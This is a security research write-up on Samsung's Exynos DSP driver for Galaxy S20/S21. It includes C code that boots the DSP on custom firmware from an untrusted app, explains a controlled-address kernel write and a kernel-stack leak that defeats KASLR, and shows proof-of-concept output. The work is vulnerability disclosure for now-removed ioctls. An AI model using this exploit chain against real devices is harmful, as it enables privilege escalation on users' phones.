An Interesting Feature in the Samsung DSP Driver
The driver is present on Galaxy S20 and Galaxy S21 Exynos based phones (and probably on Galaxy Note 20 too).
This article presents how to use this feature to boot the DSP on a custom firmware, and how to use this custom firmware along with bugs in the DSP driver to gain kernel write at a controlled address.
These bugs could have been used to elevate an Android standard application (untrusted) privileges, allowing it to get access to the whole system.
The DSP driver
The code source for the DSP can be obtained from https://opensource.samsung.com/ for Galaxy S20 (i.e. G981B) or Galaxy S21 (i.e. G991B), the driver lies in drivers/vision/dsp/
folder.
The DSP driver is reachable from untrusted apps through ioctls on the /dev/dsp
char device, as the file permissions and SELinux rules permit it :
$ ls -laZ /dev/dsp
crw-rw-r-- 1 cameraserver camera u:object_r:vendor_dsp_device:s0 10, 31 2021-03-01 23:11 /dev/dsp
(typeattributeset base_typeattr_184_30_0 ((and (appdomain) ((not (isolated_app_30_0))))))
(allow base_typeattr_184_30_0 vendor_dsp_device (chr_file (ioctl read write getattr map open)))
Ioctls are handled by dsp_ioctl
function. Few commands are available:
DSP_IOC_BOOT
DSP_IOC_LOAD_GRAPH
DSP_IOC_UNLOAD_GRAPH
DSP_IOC_EXECUTE_MSG
DSP_IOC_CONTROL
DSP_IOC_BOOT_DIRECT
DSP_IOC_LOAD_GRAPH_DIRECT
DSP_IOC_BOOT_DIRECT
and DSP_IOC_LOAD_GRAPH_DIRECT
were removed in the february update for Galaxy S21 and mars update for Galaxy S20.
Load custom DSP firmware
DSP_IOC_BOOT_DIRECT
ioctl command allows loading a DSP firmware from data given by the userland process and boot the DSP on this firmware. DSP_IOC_BOOT
does the same but the driver uses the request_firmware
API to get the files.
The DSP has no secure boot, so with the DSP_IOC_BOOT_DIRECT
ioctl command userland applications can boot the DSP processor on a controlled firmware code :
#include "G991BXXU1AUA4/kernel/drivers/vision/dsp/dsp-ioctl.h"
/* ... */
static const struct {
uint32_t bin_type;
char name[256];
} files[] = {
{BIN_TYPE_DSP_BIN, "/data/local/tmp/dsp.bin"},
{BIN_TYPE_DSP_MASTER_BIN, "/vendor/firmware/dsp_master.bin"},
{BIN_TYPE_DSP_IAC_DM_BIN, "/vendor/firmware/dsp_iac_dm.bin"},
{BIN_TYPE_DSP_IAC_PM_BIN, "/vendor/firmware/dsp_iac_pm.bin"},
{BIN_TYPE_DSP_IVP_DM_BIN, "/vendor/firmware/dsp_ivp_dm.bin"},
{BIN_TYPE_DSP_IVP_PM_BIN, "/vendor/firmware/dsp_ivp_pm.bin"},
{BIN_TYPE_DSP_RELOC_RULES_BIN, "/vendor/firmware/dsp_reloc_rules.bin"},
{BIN_TYPE_DSP_GKT_XML, "/vendor/firmware/dsp_gkt.xml"},
{BIN_TYPE_LIB_IVP_ELF, "/vendor/firmware/libivp.elf"},
{BIN_TYPE_LIB_LOG_ELF, "/vendor/firmware/liblog.elf"}
};
void load_file(char *file_name, void **ptr, uint32_t * size) {
int fd = open(file_name, O_RDONLY);
uint32_t alloc_size;
if(fd<0) {
err("Can't open %s\n", file_name);
return;
}
*size = lseek(fd, 0, SEEK_END);
lseek(fd, 0, SEEK_SET);
alloc_size = *size;
if (!strcmp(file_name, files[9].name)) {
alloc_size = 0x20000;
}
*ptr = malloc(alloc_size);
if(read(fd, *ptr, *size) != *size) {
err("Can't read");
}
*size = alloc_size;
close(fd);
}
int load() {
uint64_t i;
struct dsp_ioc_boot_direct param = {0};
param.pm_level = 1;
struct dsp_bin_file_list *bin = (struct dsp_bin_file_list *)calloc(1, sizeof(struct dsp_bin_file_list));
param.bin_list_size = sizeof(struct dsp_bin_file_list);
param.bin_list_addr = (unsigned long)bin;
for(i=0; i<sizeof(files)/sizeof(files[0]); i++) {
load_file(
(char *)files[i].name,
(void **)&bin->bins[files[i].bin_type].vaddr,
&bin->bins[files[i].bin_type].size
);
}
int dsp_fd = open("/dev/dsp", O_RDONLY);
ioctl(dsp_fd, DSP_IOC_BOOT_DIRECT, ¶m);
}
/*...*/
The main DSP code lies in /vendor/firmware/dsp.bin
file, it's ARMv7 code loaded at 0x10100000
in the DSP address space.
We chose to inject our code in the original firmware binary and jump on it after the firmware initialization. From the injected code, the log function can be used to send messages in the Linux kmsg.
[Exynos][DSP][ INFO]: (1461)[timer( 2)] [INF][exploit ] : boot
Our untrusted application is now able to load and execute code inside the DSP, so we can have a look at how this new attack surface can allow to go back to the Linux kernel.
Writing data at an arbitrary address
Communications between DSP and the application processor is very simple : shared memories that are shared through iommu mappings, and mailbox interrupts for each flow (AP-DSP, DSP-AP).
On the AP-DSP flow, the function__dsp_mailbox_send_mail
is responsible for copying the message descriptor in a message queue and for generating the interrupt.
dsp_util_queue_enqueue
:
int dsp_util_queue_enqueue(struct dsp_util_queue *queue, void *data,
size_t data_size)
{
int ret;
unsigned int rear, mirror_rear;
unsigned int q_data_size, q_data_count;
unsigned long long kva_low, kva_high;
void *kva;
dsp_enter();
q_data_size = readl(&queue->data_size);
if (data_size > q_data_size) {
ret = -EINVAL;
dsp_err("size(%zu) can't be greater than data_size(%u) of q\n",
data_size, q_data_size);
goto p_err;
}
q_data_count = readl(&queue->data_count);
mirror_rear = readl(&queue->rear);
rear = mirror_rear % q_data_count;
kva_low = readl(&queue->kva_low);
kva_high = readl(&queue->kva_high);
kva = (void *)((kva_high << 32) | kva_low);
memcpy(kva + (rear * q_data_size), data, data_size);
writel((mirror_rear + 1) % (q_data_count << 1), &queue->rear);
dsp_leave();
return 0;
p_err:
return ret;
}
This function is called with mbox->to_fw
as queue
argument. This pointer is set in dsp_mailbox_start
:
int dsp_mailbox_start(struct dsp_mailbox *mbox) {
/* ... */
pmem = &mbox->sys->memory.priv_mem[DSP_PRIV_MEM_MBOX_MEMORY];
mbox->to_fw = mbox->sys->sfr + DSP_SM_RESERVED(TO_CC_MBOX);
dsp_util_queue_init(mbox->to_fw, sizeof(struct dsp_mailbox_to_fw),
pmem->size, (unsigned int)pmem->iova,
(unsigned long long)pmem->kvaddr);
The queue pointer points in a memory area that is shared with the DSP, the DSP memory mapping is even given in dsp_sm_used_count
enum comments :
enum dsp_sm_used_count {
/* 0x4005_1F00 */ TO_CC_MBOX = 0,
/* 0x4005_1F20 */ TO_HOST_MBOX = 8,
/* 0x4005_1F40 */ LOG_QUEUE = 16,
/* 0x4005_1F60 */ TO_CC_INT_STATUS = 24,
dsp_util_queue
structure is as follows :
struct dsp_util_queue {
unsigned int front;
unsigned int rear;
unsigned int data_size;
unsigned int data_count;
unsigned int iova;
unsigned int size;
union {
struct {
unsigned int kva_low;
unsigned int kva_high;
};
void *kva;
};
};
So the kva pointer in dsp_util_queue_enqueue
function can be controlled from the DSP at the address 0x40051F00 + 0x18
.
The ioctl DSP_IOC_LOAD_GRAPH
command results in a call to __dsp_mailbox_send_mail
. The userspace application can load a DSP firmware that changes the pointer and then do this ioctl command to trigger the memcpy at the modified destination pointer address.
In this case the address of the write is fully controlled, but the data isn't. Written data is a dsp_mailbox_to_fw
structure where only few bytes can be controlled from the userspace :
struct dsp_mailbox_to_fw {
unsigned int mailbox_version;
unsigned int message_version;
unsigned int task_id;
unsigned int pool_iova;
unsigned int pool_size;
unsigned int message_id;
unsigned int message_size;
unsigned int reserved[9];
};
Leaking the KASLR and a task stack
The dsp.bin
file is not the only file loaded in the DSP address space, the DSP driver contains a custom ELF loader to load additional libraries and link them. This loader trusts files that are loaded and many fields are not checked.
In __dsp_lib_manager_load_pm
the ELF section header is taken from the file without any check, and then the section is loaded in the DSP memory using unchecked values :
static void __dsp_lib_manager_load_pm(struct dsp_lib *lib)
{
struct dsp_elf32 *elf = lib->elf;
struct dsp_list_node *node;
DL_DEBUG("load pm\n");
dsp_list_for_each(node, &elf->text.text) {
struct dsp_elf32_idx_node *idx_node =
container_of(node, struct dsp_elf32_idx_node, node);
unsigned int ndx = idx_node->idx;
struct dsp_elf32_shdr *text_hdr = elf->shdr + ndx;
unsigned char *text = (unsigned char *)(elf->data
+ text_hdr->sh_offset);
unsigned char *text_end = text + text_hdr->sh_size;
unsigned char *dest = (unsigned char *)(dsp_pm_start_addr +
lib->link_info->sec[ndx]);
DL_DEBUG("Dest : %p, Src : %p, Src end : %p, size : %u\n",
dest, text, text_end, text_hdr->sh_size);
for (; text < text_end; text += 4, dest += 4) {
int idx;
for (idx = 0; idx < 4; idx++)
dest[idx] = text[3 - idx];
}
}
}
This issue can be used to leak kernel memory inside a memory area shared with the DSP :
elf->data
is vmalloc'ed in__dsp_kernel_alloc_copy
text_hdr->sh_offset
can be set to a value bigger than the vmalloc'ed buffer size, the result is atext
pointer outside the vmalloc'ed buffer.dest
pointer is pointing inside theDSP_PRIV_MEM_IVP_PM
shared memory (0x12000000 in the DSP address space)
Libraries can be loaded during DSP boot, and can be part of the DSP_IOC_BOOT_DIRECT
files, by loading a patched library with patched section header, the vmalloc'ed buffer after the __dsp_kernel_alloc_copy
vmalloc can be copied and read by the DSP directly after boot.
To get interesting data, other vmalloc'ed buffers are sprayed during the ioctl call. The method described in https://github.com/vngkv123/articles/blob/main/Galaxy's%20Meltdown%20-%20Exploiting%20SVE-2020-18610.md was used.
During the ioctl call, the process forks a lot of time in order to trigger the kernel stack allocation for this process that is vmalloc'ed, then children are blocked in a read syscall to stay in kernel. This kernel stack contains return address pointers than can be used to compute the KASLR (for example the el0_svc
return address).
With this method we got a good success rate to get the kernel stack allocation just after the __dsp_kernel_alloc_copy
allocation :
# cat /proc/vmallocinfo |grep '__dsp_kernel_alloc_copy' -A1
0x000000008f7c65a5-0x00000000f5c28dd7 135168 __dsp_kernel_alloc_copy+0x2c/0x14c pages=32 vmalloc
0x00000000fd7f0044-0x00000000ec2162a1 20480 _do_fork+0x88/0x3c0 pages=4 vmalloc
Conclusion
In the kernel stack, there is also a pointer to the top of the stack itself, as a PoC we use this pointer to write in the process saved registers from the kernel. When tasks are unblocked, the modified one leaves the kernel with modified registers.
x1s:/ $ /data/local/tmp/dsp
[-] starting ...
[-] blocking ...
[-] Exploit ...
[-] dsp_fd : 7
[-] write
[-] triggering
(pid 28518) WIN x1:1700000000000005
Writting 0x40 partially controlled bytes is a strong constraint, this makes the elevation of privilèges exploit more difficult, but with the KASLR offset known and a dump of a kernel stack it should be possible.
This is unclear if Samsung got a report for the ability to untrusted apps to load DSP firmware, or if it's just a forgotten feature, for now there is no mention of such a security issue in the Samsung security bulletins.
The DSP_IOC_BOOT_DIRECT
ioctl command has been completely removed in the updated code on the Samsung opensource site (G981BXXU6DUB5
).